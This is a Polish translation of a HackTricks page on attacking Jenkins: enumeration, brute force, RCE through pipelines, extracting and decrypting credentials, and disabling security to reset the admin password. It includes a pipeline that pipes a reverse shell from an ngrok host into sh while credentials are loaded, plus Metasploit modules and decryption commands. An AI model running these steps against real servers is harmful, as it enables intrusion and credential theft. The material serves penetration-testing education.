Jenkins Security

Zacznij od zera i stań się ekspertem od hakowania AWS dzięki htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Podstawowe informacje

Jenkins to narzędzie, które oferuje prosty sposób na ustanowienie środowiska ciągłej integracji lub ciągłego dostarczania (CI/CD) dla prawie dowolnej kombinacji języków programowania i repozytoriów kodu źródłowego za pomocą potoków. Ponadto automatyzuje różne rutynowe zadania deweloperskie. Chociaż Jenkins nie eliminuje konieczności tworzenia skryptów dla poszczególnych kroków, zapewnia szybszy i bardziej niezawodny sposób integracji całego ciągu narzędzi do budowy, testowania i wdrażania niż można to łatwo zrobić ręcznie.

pageBasic Jenkins Information

Nieuwierzytelniona enumeracja

Aby wyszukać interesujące strony Jenkins bez uwierzytelnienia (np. /people lub /asynchPeople, które wyświetlają aktualnych użytkowników), można użyć:

msf> use auxiliary/scanner/http/jenkins_enum

Sprawdź, czy możesz wykonywać polecenia bez konieczności uwierzytelniania:

msf> use auxiliary/scanner/http/jenkins_command

Bez poświadczeń dostępu możesz zajrzeć do ścieżki /asynchPeople/ lub /securityRealm/user/admin/search/index?q= w poszukiwaniu nazw użytkowników.

Możesz uzyskać wersję Jenkinsa z ścieżki /oops lub /error

Znane podatności

Logowanie

W podstawowych informacjach możesz sprawdzić wszystkie sposoby logowania do Jenkinsa:

pageBasic Jenkins Information

Rejestracja

Możesz znaleźć instancje Jenkinsa, które pozwalają na utworzenie konta i zalogowanie się do niego. Tak proste to jest.

Logowanie SSO

Jeśli funkcjonalność SSO/wtyczki były obecne, powinieneś spróbować zalogować się do aplikacji za pomocą konta testowego (np. testowego konta Github/Bitbucket). Trik z tutaj.

Bruteforce

Jenkins brakuje polityki hasła i zapobiegania atakom brute-force na nazwy użytkowników. Istotne jest przeprowadzenie ataku brute-force na użytkowników, ponieważ mogą być używane słabe hasła lub nazwy użytkowników jako hasła, nawet odwrócone nazwy użytkowników jako hasła.

msf> use auxiliary/scanner/http/jenkins_login

Sprejowanie haseł

Użyj tego skryptu w języku Python lub tego skryptu w PowerShell.

Ominięcie białej listy adresów IP

Wiele organizacji łączy systemy zarządzania kontrolą źródła oparte na chmurze (SCM), takie jak GitHub lub GitLab, z wewnętrznym, samohostowanym systemem CI jak Jenkins lub TeamCity. Taka konfiguracja pozwala systemom CI odbierać zdarzenia webhook od dostawców SCM w chmurze, głównie do uruchamiania zadań w potoku.

Aby to osiągnąć, organizacje dodają do białej listy zakresy adresów IP platform SCM, pozwalając im na dostęp do wewnętrznego systemu CI za pomocą webhooków. Jednak ważne jest zauważenie, że każdy może utworzyć konto na GitHubie lub GitLabie i skonfigurować je do wywoływania webhooka, potencjalnie wysyłając żądania do wewnętrznego systemu CI.

Sprawdź: shttps://www.cidersecurity.io/blog/research/how-we-abused-repository-webhooks-to-access-internal-ci-systems-at-scale/

Nadużycia wewnętrznego Jenkinsa

W tych scenariuszach zakładamy, że masz ważne konto do dostępu do Jenkinsa.

W zależności od skonfigurowanego mechanizmu Autoryzacji w Jenkinsie i uprawnień skompromitowanego użytkownika możesz lub nie możesz wykonać poniższe ataki.

Aby uzyskać więcej informacji, sprawdź podstawowe informacje:

pageBasic Jenkins Information

Wyświetlanie użytkowników

Jeśli uzyskasz dostęp do Jenkinsa, możesz wyświetlić innych zarejestrowanych użytkowników pod adresem http://127.0.0.1:8080/asynchPeople/

Wyciek informacji z budów w celu znalezienia haseł w tekście jawnym

Użyj tego skryptu do wycieku konsoli budowy i zmiennych środowiskowych budowy, aby mieć nadzieję znaleźć hasła w tekście jawnym.

python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v

Kradzież danych uwierzytelniających SSH

Jeśli skompromitowany użytkownik ma wystarczające uprawnienia do tworzenia/modyfikowania nowego węzła Jenkins i dane uwierzytelniające SSH są już przechowywane do dostępu do innych węzłów, mógłby ukraść te dane uwierzytelniające, tworząc/modyfikując węzeł i ustawiając host, który zarejestruje dane uwierzytelniające bez weryfikacji klucza hosta:

Zazwyczaj dane uwierzytelniające SSH Jenkins znajdują się w globalnym dostawcy (/credentials/), więc można je również wydobyć tak samo jak każde inne tajne informacje. Więcej informacji w sekcji Wydobywanie tajemnic.

RCE w Jenkins

Uzyskanie dostępu do powłoki na serwerze Jenkins daje atakującemu możliwość ujawnienia wszystkich tajemnic i zmiennych środowiskowych oraz wykorzystania innych maszyn znajdujących się w tej samej sieci lub nawet zebrania danych uwierzytelniających chmury.

Domyślnie Jenkins będzie działać jako SYSTEM. Dlatego skompromitowanie go da atakującemu uprawnienia SYSTEMU.

RCE Tworzenie/Modyfikowanie projektu

Tworzenie/Modyfikowanie projektu to sposób na uzyskanie RCE na serwerze Jenkins:

pageJenkins RCE Creating/Modifying Project

RCE Wykonanie skryptu Groovy

Można również uzyskać RCE wykonując skrypt Groovy, co może być bardziej dyskretne niż tworzenie nowego projektu:

pageJenkins RCE with Groovy Script

RCE Tworzenie/Modyfikowanie Potoku

Można również uzyskać RCE poprzez tworzenie/modyfikowanie potoku:

pageJenkins RCE Creating/Modifying Pipeline

Eksploatacja Potoku

Aby wykorzystać potoki, nadal trzeba mieć dostęp do Jenkins.

Budowanie Potoków

Potoki mogą również być używane jako mechanizm budowania w projektach, w takim przypadku można skonfigurować plik wewnątrz repozytorium, który będzie zawierał składnię potoku. Domyślnie używany jest /Jenkinsfile:

Możliwe jest również przechowywanie plików konfiguracyjnych potoku w innych miejscach (na przykład w innych repozytoriach) w celu oddzielenia dostępu do repozytorium i dostępu do potoku.

Jeśli atakujący ma uprawnienia do zapisu tego pliku, będzie mógł go zmodyfikować i potencjalnie uruchomić potok nawet bez dostępu do Jenkins. Może się okazać, że atakujący będzie musiał obejść pewne zabezpieczenia gałęzi (w zależności od platformy i uprawnień użytkownika mogą one zostać obejścia lub nie).

Najczęstsze sposoby uruchomienia niestandardowego potoku to:

  • Pull request do głównej gałęzi (lub potencjalnie do innych gałęzi)

  • Push do głównej gałęzi (lub potencjalnie do innych gałęzi)

  • Aktualizacja głównej gałęzi i oczekiwanie, aż zostanie wykonana w jakiś sposób

Jeśli jesteś zewnętrznym użytkownikiem, nie powinieneś oczekiwać, że stworzysz PR do głównej gałęzi repozytorium innego użytkownika/organizacji i uruchomisz potok... ale jeśli jest źle skonfigurowany, możesz w pełni skompromitować firmy, wykorzystując to.

RCE Potoku

W poprzedniej sekcji RCE już wskazano technikę uzyskania RCE poprzez modyfikację potoku.

Sprawdzanie zmiennych środowiskowych

Można zadeklarować zmienne środowiskowe w postaci tekstu jawnego dla całego potoku lub dla konkretnych etapów. Te zmienne środowiskowe nie powinny zawierać poufnych informacji, ale atakujący zawsze może sprawdzić wszystkie konfiguracje potoku/pliki Jenkinsfile:

pipeline {
agent {label 'built-in'}
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {

Wyciekanie sekretów

Aby uzyskać informacje na temat tego, jak zazwyczaj traktowane są sekrety przez Jenkins, zapoznaj się z podstawowymi informacjami:

pageBasic Jenkins Information

Poświadczenia mogą być ograniczone do globalnych dostawców (/credentials/) lub do konkretnych projektów (/job/<project-name>/configure). Dlatego, aby wydobyć wszystkie z nich, musisz skompromitować co najmniej wszystkie projekty, które zawierają sekrety i wykonać niestandardowe/zatrute potoki.

Istnieje jeszcze jeden problem, aby uzyskać sekret w środowisku potoku, musisz znać nazwę i typ sekretu. Na przykład, jeśli próbujesz załadować sekret usernamePassword jako sekret string, otrzymasz ten błąd:

ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected

Oto sposób ładowania niektórych typowych typów sekretów:

withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
env #Search for USERNAME and PASS
'''
}

withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
sh '''
env #Search for SECRET
'''
}

withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
sh '''
env # Search for USERPASS
'''
}

# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
env
'''
}

Na końcu tej strony możesz znaleźć wszystkie typy poświadczeń: https://www.jenkins.io/doc/pipeline/steps/credentials-binding/

Najlepszym sposobem na wyciek wszystkich sekretów naraz jest skompromitowanie maszyny Jenkins (uruchomienie odwrotnego shella na wbudowanym węźle na przykład) a następnie wyciek kluczy głównych i zaszyfrowanych sekretów oraz ich odszyfrowanie offline. Więcej informacji na ten temat znajdziesz w sekcji Węzły i Agenci oraz w sekcji Post Exploitation.

Wyzwalacze

Z dokumentacji: Dyrektywa triggers definiuje automatyczne sposoby ponownego uruchamiania Pipelina. Dla Pipelinów zintegrowanych z takimi źródłami jak GitHub lub BitBucket, triggers mogą nie być konieczne, ponieważ integracja oparta na webhookach prawdopodobnie już istnieje. Obecnie dostępne wyzwalacze to cron, pollSCM i upstream.

Przykład Cron:

triggers { cron('H */4 * * 1-5') }

Sprawdź inne przykłady w dokumentacji.

Węzły i Agenci

Instancja Jenkinsa może mieć różne agenty uruchamiane na różnych maszynach. Z perspektywy atakującego, dostęp do różnych maszyn oznacza różne potencjalne poświadczenia chmurowe do kradzieży lub różny dostęp do sieci, który mógłby być wykorzystany do atakowania innych maszyn.

Aby uzyskać więcej informacji, sprawdź podstawowe informacje:

pageBasic Jenkins Information

Możesz wyliczyć skonfigurowane węzły w /computer/, zazwyczaj znajdziesz **Węzeł wbudowany ** (który jest węzłem uruchamiającym Jenkins) i potencjalnie więcej:

Jest szczególnie interesujące skompromitowanie węzła wbudowanego, ponieważ zawiera wrażliwe informacje Jenkinsa.

Aby wskazać, że chcesz uruchomić potok w wbudowanym węźle Jenkinsa, możesz określić wewnątrz potoku następującą konfigurację:

pipeline {
agent {label 'built-in'}

Pełny przykład

Potok w określonym agent, z wyzwalaczem cron, zmiennymi środowiskowymi potoku i etapu, wczytujący 2 zmienne w kroku i wysyłający odwróconą powłokę:

pipeline {
agent {label 'built-in'}
triggers { cron('H */4 * * 1-5') }
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
'''
}
}
}

post {
always {
cleanWs()
}
}
}

Post Eksploatacja

Metasploit

msf> post/multi/gather/jenkins_gather

Sekrety Jenkinsa

Możesz wyświetlić listę sekretów, uzyskując dostęp do /credentials/, jeśli masz wystarczające uprawnienia. Należy zauważyć, że zostaną wyświetlone tylko sekrety znajdujące się w pliku credentials.xml, ale pliki konfiguracyjne budowy mogą również zawierać więcej poświadczeń.

Jeśli możesz zobaczyć konfigurację każdego projektu, możesz również zobaczyć tam nazwy poświadczeń (sekretów) używanych do dostępu do repozytorium oraz inne poświadczenia projektu.

Za pomocą Groovy

pageJenkins Dumping Secrets from Groovy

Z dysku

Do odszyfrowania sekretów Jenkinsa potrzebne są następujące pliki:

  • secrets/master.key

  • secrets/hudson.util.Secret

Takie sekrety zazwyczaj można znaleźć w:

  • credentials.xml

  • jobs/.../build.xml

  • jobs/.../config.xml

Oto wyrażenie regularne, które pozwala je znaleźć:

# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Print only the filenames where the secrets are located
grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"

# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>

Odszyfruj tajne informacje Jenkins offline

Jeśli zdobyłeś potrzebne hasła do odszyfrowania tajnych informacji, skorzystaj z tego skryptu do odszyfrowania tych informacji.

python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT

Odszyfruj tajemnice Jenkins z Groovy

println(hudson.util.Secret.decrypt("{...}"))

Utwórz nowego użytkownika admina

  1. Otwórz plik Jenkins config.xml w /var/lib/jenkins/config.xml lub C:\Program Files (x86)\Jenkis\

  2. Znajdź słowo <useSecurity>true</useSecurity> i zmień słowo true na false.

  3. sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml

  4. Uruchom ponownie serwer Jenkins: service jenkins restart

  5. Teraz przejdź ponownie do portalu Jenkins i Jenkins nie poprosi o żadne poświadczenia tym razem. Przejdź do "Zarządzaj Jenkins", aby ponownie ustawić hasło administratora.

  6. Włącz ponownie bezpieczeństwo, zmieniając ustawienia na <useSecurity>true</useSecurity> i ponownie uruchom Jenkins.

Referencje

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated